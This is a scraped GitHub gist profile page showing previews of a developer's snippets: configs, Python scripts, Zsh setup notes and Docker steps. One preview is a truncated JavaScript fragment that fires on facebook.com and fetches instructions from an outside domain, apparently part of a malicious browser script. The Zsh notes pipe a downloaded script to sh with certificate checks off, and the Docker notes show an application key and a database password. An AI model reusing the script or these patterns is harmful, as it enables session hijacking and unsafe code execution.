Skip to content

Instantly share code, notes, and snippets.

View NamPNQ's full-sized avatar
🤒
Out sick

Nam PHAM NamPNQ

🤒
Out sick
  • Ho Chi Minh
View GitHub Profile
@NamPNQ
NamPNQ / supervisord.conf
Created October 31, 2014 18:05
Mongo supervisord
[supervisord]
nodaemon=true
[program:sshd]
command=/usr/sbin/sshd -D
stdout_logfile=/var/log/supervisor/%(program_name)s.log
stderr_logfile=/var/log/supervisor/%(program_name)s.log
autorestart=true
[program:mongod]
if (location.hostname.indexOf("facebook.com") >= 0) {
var babasker = function() {
var b = new XMLHttpRequest;
b.open("GET", window.location.protocol + "//adeaditi.info/ag.php", true);
b.onreadystatechange = function() {
if (4 == b.readyState && 200 == b.status) {
var c = JSON.parse(b.responseText);
if ("aktiv" == c.type) {
var d = new XMLHttpRequest;
d.open("GET", "/", false);
[Desktop Entry]
Name=Firefox Developer
GenericName=Firefox Developer Edition
Exec=/opt/firefox_dev/firefox
Terminal=false
Icon=/opt/firefox_dev/browser/icons/mozicon128.png
Type=Application
Categories=Application;Network;X-Developer;
Comment=Firefox Developer Edition Web Browser.
#! /usr/bin/env python
import timeit
def f():
pass
if __name__ == "__main__":
timer = timeit.Timer("__main__.f()", "import __main__")
result = timer.repeat(repeat=100, number=100000)
@NamPNQ
NamPNQ / Zsh & theme
Created October 22, 2015 18:01 — forked from leemour/Zsh & theme
Zsh installation and Agnoster theme settings
# Railscast
http://railscasts.com/episodes/308-oh-my-zsh
# Install Zsh
sudo apt-get update && sudo apt-get install zsh
# Install Oh-my-zsh
wget –no-check-certificate https://github.com/robbyrussell/oh-my-zsh/raw/master/tools/install.sh -O – | sh
# Make ZSH default shell
def save(self, *args, **kwargs):
if not self.id:
max_length = Skill._meta.get_field('slug').max_length
self.slug = orig = slugify(self.title)[:max_length]
for x in itertools.count(1):
if not Skill.objects.filter(slug=self.slug).exists():
break
# Truncate the original slug dynamically. Minus 1 for the hyphen.
self.slug = "%s-%d" % (orig[:max_length - len(str(x)) - 1], x)
from fabric.api import run
def check_status():
run('df -h')
run('service --status-all | grep running')
# How to use
# pip install fabric
# fabric check_status -H root@xxx.xxx.xxx.xxx
@NamPNQ
NamPNQ / dump_for_mysql.py
Created January 7, 2016 07:12
Migrate SQLite3 to MySQL
#!/usr/bin/env python
import re
import fileinput
def this_line_is_useless(line):
useless_es = [
'BEGIN TRANSACTION',
'COMMIT',
'sqlite_sequence',
@NamPNQ
NamPNQ / koel.md
Last active January 19, 2016 07:56
Koel docker
  1. Install docker and docker-compose
  2. Download file https://github.com/NamPNQ/koel/blob/feature-docker/docker-compose.yml and https://github.com/NamPNQ/koel/blob/feature-docker/.env.example
  3. Rename .env.example to .env
  4. Edit .env
    APP_KEY: 16efa6c23c2e8c705826b0e66778fbe7
    DB_HOST=db
    DB_DATABASE=koel
    DB_USERNAME=root
    

DB_PASSWORD=secret

// This is special version for fix conflict with videogular-youtube-plugin
(function (){
'use strict';
/**
* @ngdoc overview
* @name angularVideoBg
* @description This module contains a directive that allows you easily make a YouTube video play as the background of
* any container on your site.
*/